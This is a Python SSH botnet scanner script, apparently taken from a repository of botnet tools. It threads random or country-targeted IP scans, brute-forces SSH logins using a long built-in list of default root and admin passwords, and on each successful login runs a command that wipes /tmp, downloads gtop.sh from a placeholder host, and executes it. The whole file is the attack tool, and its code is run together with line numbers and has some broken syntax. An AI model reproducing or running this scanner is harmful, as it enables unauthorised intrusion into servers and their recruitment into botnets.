Path: blob/master/Botnets/Scanning/AUTOSCANNER/XanaxScan.py
5038 views
#!/usr/bin/env python12import threading, paramiko, random, socket, time, sys34cmd='cd /tmp; rm -rf *; wget -q http://host/gtop.sh; chmod +x gtop.sh; sh gtop.sh; rm -rf *\r\n'5blacklist = [6'127'7]8passwords = [9"root:root",10"root:lol",11"root:admin",12"ubnt:ubnt"13"root:1234",14"admin:1234",15"root:toor",16"root:sex",17"root:test",18"pi:pi",19"root:cent6"20"root:admin",21"root:root",22"admin:password",23"ubnt:ubnt"24"root:1234",25"root:123",26"root:12345",27"root:Password",28"root:lol",29"root:toor",30"root:centos7",31"root:qwerty",32"root:centos6",33"root:pussy",34"root:user",35"root:money",36"root:love",37"root:1",38"root:2",39"root:3",40"root:0",41"root:987",42"root:5",43"root:beer",44"root:cia",45"root:fbi",46"root:hack",47"root:bank",48"root:gov",49"root:youtube",50"root:website",51"root:server",52"root:weed",53"root:420",54"root:computer",55"root:linux",56"root:debain",57"root:cent",58"root:vps",59"root:VPS",60"root:light",61"root:cap",62"root:hat",63"root:butt",64"root:but",65"root:name",66"root:god",67"root:work",68"root:job",69"root:bailey",70"root:123456",71"root:michael",72"root:superman",73"root:batman",74"root:starwars",75"root:startrek",76"root:desktop",77"root:windows",78"root:netflix",79"root:shoe",80"root:foot",81"root:tor",82"root:rot",83"root:roots",84"root:root1",85"root:root2",86"root:root3",87"root:root4",88"root:root5",89"root:root6",90"root:root12",91"root:root123",92"root:root1234",93"root:root12345",94"root:root123456",95"root:iphone",96"root:apple",97"root:verizon",98"root:talktalk",99"root:at&t",100"root:strighttalk",101"root:|",102"root:="103"root:abc",104"root:xyz",105"root:abc1",106"root:abc12",107"root:abc123",108"root:abc1234",109"root:abc12345",110"root:abc123456",111"root:sync"112"root:-"113"root:",114"root: ",115"root:a",116"root:z",117"root:python",118"root:perl",119"root:dos",120"root:sql",121"root:database",122"root:minecraft",123"root:minecraft1",124"root:minecraft2",125"root:minecraft3",126"root:minecraft4",127"root:minecraft5",128"root:minecraft6",129"root:minecraft7",130"root:minecraft8",131"root:minecraft9",132"root:minecraft0",133"root:minecraft12",134"root:minecraft123",135"root:minecraft1234",136"root:minecraft12345",137"root:minecraft123456",138"root:minecraft1234567"139"root:minecraft12345678",140"root:minecraft123456789",141"root:minecraft1234567890",142"root:login",143"root:login123",144"root:solo",145"root:passw0rd",146"root:password123",147"root:admins",148"root:cigs",149"root:ruby",150"root:html",151"root:php",152"root:youtuber",153"root:pewdiepiefan",154"root:pewdiepie",155"root:cod",156"root:android",157"root:phone",158"root:pass",159"root:school",160"root:q",161"root:webserver",162"root:college",163"root:keys",164"root:dog",165"root:cat",166"admin:admin",167"admin:admin1",168"admin:admin2",169"admin:admin3",170"admin:admin4",171"admin:admin5",172"admin:admin6",173"admin:admin7",174"admin:admin8",175"admin:admin9",176"admin:admin0",177"admin:admin12",178"admin:admin123",179"admin:admin1234",180"admin:admin12345",181"admin:admin123456"182"admin:admin1234567",183"admin:admin12345678",184"admin:admin123456789",185"admin:admin1234567890",186"admin:admin098",187"admin:admin987",188"admin:admin321",189]190if sys.argv[4] == '1':191passwords = ["root:root",192"root:admin",193"root:root",194"admin:password",195"ubnt:ubnt"196"root:1234",197"root:123",198"root:12345",199"root:Password",200"root:lol",201"root:toor",202"root:centos7",203"root:qwerty",204"root:centos6",205"root:pussy",206"root:user",207"root:money",208"root:love",209"root:1",210"root:2",211"root:3",212"root:0",213"root:987",214"root:5",215"root:beer",216"root:cia",217"root:fbi",218"root:hack",219"root:bank",220"root:gov",221"root:youtube",222"root:website",223"root:server",224"root:weed",225"root:420",226"root:computer",227"root:linux",228"root:debain",229"root:cent",230"root:vps",231"root:VPS",232"root:light",233"root:cap",234"root:hat",235"root:butt",236"root:but",237"root:name",238"root:god",239"root:work",240"root:job",241"root:bailey",242"root:123456",243"root:michael",244"root:superman",245"root:batman",246"root:starwars",247"root:startrek",248"root:desktop",249"root:windows",250"root:netflix",251"root:shoe",252"root:foot",253"root:tor",254"root:rot",255"root:roots",256"root:root1",257"root:root2",258"root:root3",259"root:root4",260"root:root5",261"root:root6",262"root:root12",263"root:root123",264"root:root1234",265"root:root12345",266"root:root123456",267"root:iphone",268"root:apple",269"root:verizon",270"root:talktalk",271"root:at&t",272"root:strighttalk",273"root:|",274"root:="275"root:abc",276"root:xyz",277"root:abc1",278"root:abc12",279"root:abc123",280"root:abc1234",281"root:abc12345",282"root:abc123456",283"root:sync"284"root:-"285"root:",286"root: ",287"root:a",288"root:z",289"root:python",290"root:perl",291"root:dos",292"root:sql",293"root:database",294"root:minecraft",295"root:minecraft1",296"root:minecraft2",297"root:minecraft3",298"root:minecraft4",299"root:minecraft5",300"root:minecraft6",301"root:minecraft7",302"root:minecraft8",303"root:minecraft9",304"root:minecraft0",305"root:minecraft12",306"root:minecraft123",307"root:minecraft1234",308"root:minecraft12345",309"root:minecraft123456",310"root:minecraft1234567"311"root:minecraft12345678",312"root:minecraft123456789",313"root:minecraft1234567890",314"root:login",315"root:login123",316"root:solo",317"root:passw0rd",318"root:password123",319"root:admins",320"root:cigs",321"root:ruby",322"root:html",323"root:php",324"root:youtuber",325"root:pewdiepiefan",326"root:pewdiepie",327"root:cod",328"root:android",329"root:phone",330"root:pass",331"root:school",332"root:q",333"root:webserver",334"root:college"335"root:keys",336"root:dog",337"root:cat",338"admin:admin",339"admin:admin1",340"admin:admin2",341"admin:admin3",342"admin:admin4",343"admin:admin5",344"admin:admin6",345"admin:admin7",346"admin:admin8",347"admin:admin9",348"admin:admin0",349"admin:admin12",350"admin:admin123",351"admin:admin1234",352"admin:admin12345",353"admin:admin123456"354"admin:admin1234567",355"admin:admin12345678",356"admin:admin123456789",357"admin:admin1234567890",358"admin:admin098",359"admin:admin987",360"admin:admin321",361"root:123",]362ipclassinfo = sys.argv[2]363if ipclassinfo == "A":364ip1 = sys.argv[3]365elif ipclassinfo == "B":366ip1 = sys.argv[3].split(".")[0]367ip2 = sys.argv[3].split(".")[1]368elif ipclassinfo == "C":369ips = sys.argv[3].split(".")370num=0371for ip in ips:372num=num+1373if num == 1:374ip1 = ip375elif num == 2:376ip2 = ip377elif num == 3:378ip3 = ip379class sshscanner(threading.Thread):380global passwords381global ipclassinfo382if ipclassinfo == "A":383global ip1384elif ipclassinfo == "B":385global ip1386global ip2387elif ipclassinfo == "C":388global ip1389global ip2390global ip3391def run(self):392while 1:393try:394while 1:395thisipisbad='no'396if ipclassinfo == "A":397self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))398elif ipclassinfo == "B":399self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))400elif ipclassinfo == "C":401self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))402elif ipclassinfo == "USA":403usa = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]404self.host = random.choice(usa)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))405elif ipclassinfo == "Russia":406russia = ["122","131","161","37","186","187","31","188","201","2","200"]407self.host = random.choice(russia)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))408elif ipclassinfo == "LSD":409lsd = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]410self.host = random.choice(lsd)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))411elif ipclassinfo == "Shrooms":412shrooms = ["122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118" ]413self.host = random.choice(shrooms)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))414elif ipclassinfo == "Xanax":415xanax = ["23.96","23.97","23.98","23.99","23.100","23.101","23.102","23.103","70.37","104.40","104.41","104.42","104.43","104.44","104.45","104.46","104.47","104.146","104.147","104.208","104.209","104.210","104.210","104.211","104.212","104.213","104.214","104.215","138.91","168.61","168.62","168.63","113.53","125.125","125.126","125.127"]416self.host = random.choice(xanax)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))417elif ipclassinfo == "Cisco":418cisco = ["1"]419self.host = random.choice(cisco)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))420elif ipclassinfo == "Busybox":421busybox = ["199.180","142.0","158.69"]422self.host = random.choice(busybox)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))423elif ipclassinfo == "WholeSale":424wholesale = ["208.67"]425self.host = random.choice(wholesale)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))426elif ipclassinfo == "ECATEL":427ecatel = ["89.248"]428self.host = random.choice(ecatel)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))429elif ipclassinfo == "CHINA":430china = ["65.19","220.248"]431self.host = random.choice(china)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))432elif ipclassinfo == "INDIA":433india = ["1.6","1.7","1.22","1.23"]434self.host = random.choice(india)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))435elif ipclassinfo == "CDN":436cdn = ["217.106","217.106"]437self.host = random.choice(cdn)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))438elif ipclassinfo == "AWS"439aws = ["23.20","27.0","27.22","43.250","46.0","47.0","50.15","51.0","52.0","52.100"]440self.host = random.choice(aws)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))441elif ipclassinfo == "Random":442self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))443else:444self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))445for badip in blacklist:446if badip in self.host:447thisipisbad='yes'448if thisipisbad=='no':449break450username='root'451password=""452port = 22453s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)454s.settimeout(3)455s.connect((self.host, port))456s.close()457ssh = paramiko.SSHClient()458ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())459dobreak=False460for passwd in passwords:461if ":n/a" in passwd:462password=""463else:464password=passwd.split(":")[1]465if "n/a:" in passwd:466username=""467else:468username=passwd.split(":")[0]469try:470ssh.connect(self.host, port = port, username=username, password=password, timeout=3)471dobreak=True472break473except:474pass475if True == dobreak:476break477badserver=True478stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")479output = stdout.read()480if "inet addr" in output:481badserver=False482if badserver == False:483print '\x1b[31mINFECTING:'+self.host+'|'+username+'|'+password+'|'+str(port)484ssh.exec_command(""+cmd+"")485time.sleep(20)486ssh.close()487except:488pass489490for x in range(0,int(sys.argv[1])):491try:492t = sshscanner()493t.start()494except:495pass496497